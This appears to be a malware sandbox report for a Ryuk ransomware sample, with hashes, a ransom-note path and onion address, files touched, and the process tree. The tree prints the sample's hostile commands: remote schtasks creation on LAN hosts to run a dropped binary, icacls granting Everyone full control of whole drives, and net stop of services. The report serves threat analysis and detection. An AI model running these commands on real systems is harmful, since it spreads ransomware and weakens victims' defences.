Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
80323b4326b...02.exe
windows7_x64
100323b4326b...02.exe
windows10_x64
100898a80dc2...92.exe
windows7_x64
100898a80dc2...92.exe
windows10_x64
100aaecf7f77...91.exe
windows7_x64
100aaecf7f77...91.exe
windows10_x64
10150e8ef3f1...02.exe
windows7_x64
10150e8ef3f1...02.exe
windows10_x64
1023e95ba676...7f.exe
windows7_x64
1023e95ba676...7f.exe
windows10_x64
1028e7dc4aeb...33.exe
windows7_x64
28e7dc4aeb...33.exe
windows10_x64
10350b0d6ae2...d7.exe
windows7_x64
1350b0d6ae2...d7.exe
windows10_x64
13a6ebac4f8...ca.exe
windows7_x64
103a6ebac4f8...ca.exe
windows10_x64
103fe801df14...4f.exe
windows7_x64
83fe801df14...4f.exe
windows10_x64
841367ad447...00.exe
windows7_x64
1041367ad447...00.exe
windows10_x64
1048f4749f13...77.exe
windows7_x64
148f4749f13...77.exe
windows10_x64
1499d936c22...82.exe
windows7_x64
10499d936c22...82.exe
windows10_x64
104b5a6926ab...d1.exe
windows7_x64
14b5a6926ab...d1.exe
windows10_x64
14bb0d8eb6b...81.exe
windows7_x64
104bb0d8eb6b...81.exe
windows10_x64
105de3d5a337...ed.exe
windows7_x64
105de3d5a337...ed.exe
windows10_x64
105e2b2fe65d...20.exe
windows7_x64
15e2b2fe65d...20.exe
windows10_x64
3Analysis
-
max time kernel
91s -
max time network
140s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
30/03/2021, 11:28
Behavioral task
behavioral1
Sample
0323b4326bd6674f7d78360bb6544c4b34067066dda31e45edee91dec021e702.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
0323b4326bd6674f7d78360bb6544c4b34067066dda31e45edee91dec021e702.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe
Resource
win7v20201028
Behavioral task
behavioral4
Sample
0898a80dc248a7931f8e2bf76a22a0a8d54b39a815e3fe810a2a190c50017892.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
Resource
win7v20201028
Behavioral task
behavioral6
Sample
0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
Resource
win10v20201028
Behavioral task
behavioral7
Sample
150e8ef3f1b0d5b5b2af2ffc8d540cb0e36ecdcaf5001bab2f318e36a3c25302.exe
Resource
win7v20201028
Behavioral task
behavioral8
Sample
150e8ef3f1b0d5b5b2af2ffc8d540cb0e36ecdcaf5001bab2f318e36a3c25302.exe
Resource
win10v20201028
Behavioral task
behavioral9
Sample
23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
Resource
win7v20201028
Behavioral task
behavioral10
Sample
23e95ba67603234352ff2864dc7fa54742f501e5922f01f8c182dbefc116f97f.exe
Resource
win10v20201028
Behavioral task
behavioral11
Sample
28e7dc4aebbfea61a2ad942f00ecab3bbb32a636679587a6fbd6c8dd69a0ef33.exe
Resource
win7v20201028
Behavioral task
behavioral12
Sample
28e7dc4aebbfea61a2ad942f00ecab3bbb32a636679587a6fbd6c8dd69a0ef33.exe
Resource
win10v20201028
Behavioral task
behavioral13
Sample
350b0d6ae25e81c8394b119f4d569c083df8d17e6241d8efed0858cf91c745d7.exe
Resource
win7v20201028
Behavioral task
behavioral14
Sample
350b0d6ae25e81c8394b119f4d569c083df8d17e6241d8efed0858cf91c745d7.exe
Resource
win10v20201028
Behavioral task
behavioral15
Sample
3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe
Resource
win7v20201028
Behavioral task
behavioral16
Sample
3a6ebac4f83f8b9088c9e00a25d88a56fb7e46b7b8a03158682a5d7d28f0f6ca.exe
Resource
win10v20201028
Behavioral task
behavioral17
Sample
3fe801df149ffae08275e24be6bce3de67e9d5407c0417542001f726541fbe4f.exe
Resource
win7v20201028
Behavioral task
behavioral18
Sample
3fe801df149ffae08275e24be6bce3de67e9d5407c0417542001f726541fbe4f.exe
Resource
win10v20201028
Behavioral task
behavioral19
Sample
41367ad447e3d86176713af7776c1ab22d5fc7fd0fe9584f14d201b9bf071700.exe
Resource
win7v20201028
Behavioral task
behavioral20
Sample
41367ad447e3d86176713af7776c1ab22d5fc7fd0fe9584f14d201b9bf071700.exe
Resource
win10v20201028
Behavioral task
behavioral21
Sample
48f4749f13582fea3e9bcc6775cce82c3c6391d2d58acd98b99d1e6acc810277.exe
Resource
win7v20201028
Behavioral task
behavioral22
Sample
48f4749f13582fea3e9bcc6775cce82c3c6391d2d58acd98b99d1e6acc810277.exe
Resource
win10v20201028
Behavioral task
behavioral23
Sample
499d936c223743c3d2a40c3b7b1f974cedb98951f846b163d0f17d2d38ffc282.exe
Resource
win7v20201028
Behavioral task
behavioral24
Sample
499d936c223743c3d2a40c3b7b1f974cedb98951f846b163d0f17d2d38ffc282.exe
Resource
win10v20201028
Behavioral task
behavioral25
Sample
4b5a6926ab9b487fca2d33ba00b4e25f731bc52a3222a6ef3141b8703c1e2cd1.exe
Resource
win7v20201028
Behavioral task
behavioral26
Sample
4b5a6926ab9b487fca2d33ba00b4e25f731bc52a3222a6ef3141b8703c1e2cd1.exe
Resource
win10v20201028
Behavioral task
behavioral27
Sample
4bb0d8eb6b93060941730c65ac5c11625b805f91616841cdfb887d8461aef581.exe
Resource
win7v20201028
Behavioral task
behavioral28
Sample
4bb0d8eb6b93060941730c65ac5c11625b805f91616841cdfb887d8461aef581.exe
Resource
win10v20201028
Behavioral task
behavioral29
Sample
5de3d5a33745739259fc03cb5a7852440c135f960e8516d92181cd16ba76e2ed.exe
Resource
win7v20201028
Behavioral task
behavioral30
Sample
5de3d5a33745739259fc03cb5a7852440c135f960e8516d92181cd16ba76e2ed.exe
Resource
win10v20201028
Behavioral task
behavioral31
Sample
5e2b2fe65df310fe6c81acb628701c1847e772f7cf49aaa486e298a86ae85620.exe
Resource
win7v20201028
Behavioral task
behavioral32
Sample
5e2b2fe65df310fe6c81acb628701c1847e772f7cf49aaa486e298a86ae85620.exe
Resource
win10v20201028
General
-
Target
0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe
-
Size
468KB
-
MD5
9296a9b81bfe119bd786a6f5a8ad43ad
-
SHA1
581cf7c453358cd94ceed70088470c32a7307c8e
-
SHA256
0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591
-
SHA512
64955ec13d7e874d8aeb9490b2ff814473e02ef93eb071bab460add8b5966f660ddca1ba80cf1055f7d2c5cccaf4ad62d908356547c8c13387e622e5dfc849a1
Malware Config
Extracted
C:\users\Public\RyukReadMe.html
ryuk
http://ddchw6p2kegymsyoqljqnsslebfh5t7e45s6m2pqhhn5mt4yb3rlazyd.onion
Signatures
-
Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
-
Executes dropped EXE 3 IoCs
pid Process 3116 SaFbmejfrrep.exe 3568 aajwdTtdAlan.exe 3384 QkevIHuEolan.exe -
Modifies file permissions 1 TTPs 2 IoCs
pid Process 5084 icacls.exe 3676 icacls.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\stopNetworkServer.bat 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\MANIFEST.MF 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.dom.smil_1.0.0.v200806040011.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Standard2019R_Grace-ppd.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStd2019R_OEM_Perp-ul-phn.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.touchpoint.eclipse_2.1.200.v20140512-1650.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-options_zh_CN.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_SubTest3-pl.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Outlook2019VL_KMS_Client_AE-ul.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProR_OEM_Perp-ppd.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\jmxremote.access 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\org.eclipse.equinox.p2.metadata.repository.prefs 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_zh_CN.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStd2019R_Grace-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_OEM_Perp-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART8.BDR 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\jfluid-server.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-util-enumerations.xml 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-io.xml 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\content-types.properties 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Trial-pl.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioStdR_OEM_Perp-pl.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\ca\msipc.dll.mui 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\ko\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\javafx-mx.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup-impl_zh_CN.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\7-Zip\Lang\en.ttt 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\core.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler-charts.xml 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Grunge Texture.eftx 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusiness2019R_Retail-ul-phn.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.http_8.1.14.v20131031.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Effects\Reflection.eftx 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\CSS7DATA0009.DLL 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\setEmbeddedCP 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\StandardR_Retail-ppd.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\OFFRHD.DLL 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host-remote.xml 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\1036\MSO.ACL 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\uk\msipc.dll.mui 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsptb.xml 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PersonalR_OEM_Perp-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\Document Parts\1033\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Access2019VL_KMS_Client_AE-ul.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProfessionalR_OEM_Perp-ul-phn.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdR_Retail-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\StandardMSDNR_Retail-pl.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeStudentVNextR_Retail-ul-phn.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\el\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\contbig.gif 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper_1.0.400.v20130327-1442.jar 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Trial2-ppd.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019VL_MAK_AE-ul-oob.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\7-Zip\Lang\fi.txt 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\fsdefinitions\auxpad\RyukReadMe.html 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_SubTrial-pl.xrm-ms 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSVCP140_APP.DLL 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4808 schtasks.exe 5424 schtasks.exe 5384 schtasks.exe 2924 schtasks.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe -
Suspicious use of WriteProcessMemory 21 IoCs
description pid Process procid_target PID 4736 wrote to memory of 3116 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 78 PID 4736 wrote to memory of 3116 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 78 PID 4736 wrote to memory of 3116 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 78 PID 4736 wrote to memory of 3568 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 79 PID 4736 wrote to memory of 3568 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 79 PID 4736 wrote to memory of 3568 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 79 PID 4736 wrote to memory of 3384 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 80 PID 4736 wrote to memory of 3384 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 80 PID 4736 wrote to memory of 3384 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 80 PID 4736 wrote to memory of 5084 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 81 PID 4736 wrote to memory of 5084 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 81 PID 4736 wrote to memory of 5084 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 81 PID 4736 wrote to memory of 3676 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 82 PID 4736 wrote to memory of 3676 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 82 PID 4736 wrote to memory of 3676 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 82 PID 4736 wrote to memory of 776 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 85 PID 4736 wrote to memory of 776 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 85 PID 4736 wrote to memory of 776 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 85 PID 4736 wrote to memory of 5048 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 87 PID 4736 wrote to memory of 5048 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 87 PID 4736 wrote to memory of 5048 4736 0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe"C:\Users\Admin\AppData\Local\Temp\0aaecf7f77132def96c13d480e32d759839fd65fa76c73e29f0f53c50714c591.exe"1⤵
- Drops desktop.ini file(s)
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4736 -
C:\Users\Admin\AppData\Local\Temp\SaFbmejfrrep.exe"C:\Users\Admin\AppData\Local\Temp\SaFbmejfrrep.exe" 9 REP2⤵
- Executes dropped EXE
PID:3116 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.87 /TN Y2MWOn2 /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:4808
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.68 /TN eRobs2p /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:5424
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.84 /TN U8tebwX /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:5384
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /S 10.10.0.73 /TN aP8q5mC /TR "C:\Users\Public\SaFbmejfrrep.exe" /sc once /st 00:00 /RL HIGHEST3⤵
- Creates scheduled task(s)
PID:2924
-
-
-
C:\Users\Admin\AppData\Local\Temp\aajwdTtdAlan.exe"C:\Users\Admin\AppData\Local\Temp\aajwdTtdAlan.exe" 8 LAN2⤵
- Executes dropped EXE
PID:3568
-
-
C:\Users\Admin\AppData\Local\Temp\QkevIHuEolan.exe"C:\Users\Admin\AppData\Local\Temp\QkevIHuEolan.exe" 8 LAN2⤵
- Executes dropped EXE
PID:3384
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:5084
-
-
C:\Windows\SysWOW64\icacls.exeicacls "D:\*" /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:3676
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y2⤵PID:776
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "audioendpointbuilder" /y3⤵PID:3484
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "samss" /y2⤵PID:5048
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "samss" /y3⤵PID:4600
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "audioendpointbuilder" /y2⤵PID:4868
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "audioendpointbuilder" /y3⤵PID:3972
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "samss" /y2⤵PID:4184
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "samss" /y3⤵PID:4900
-
-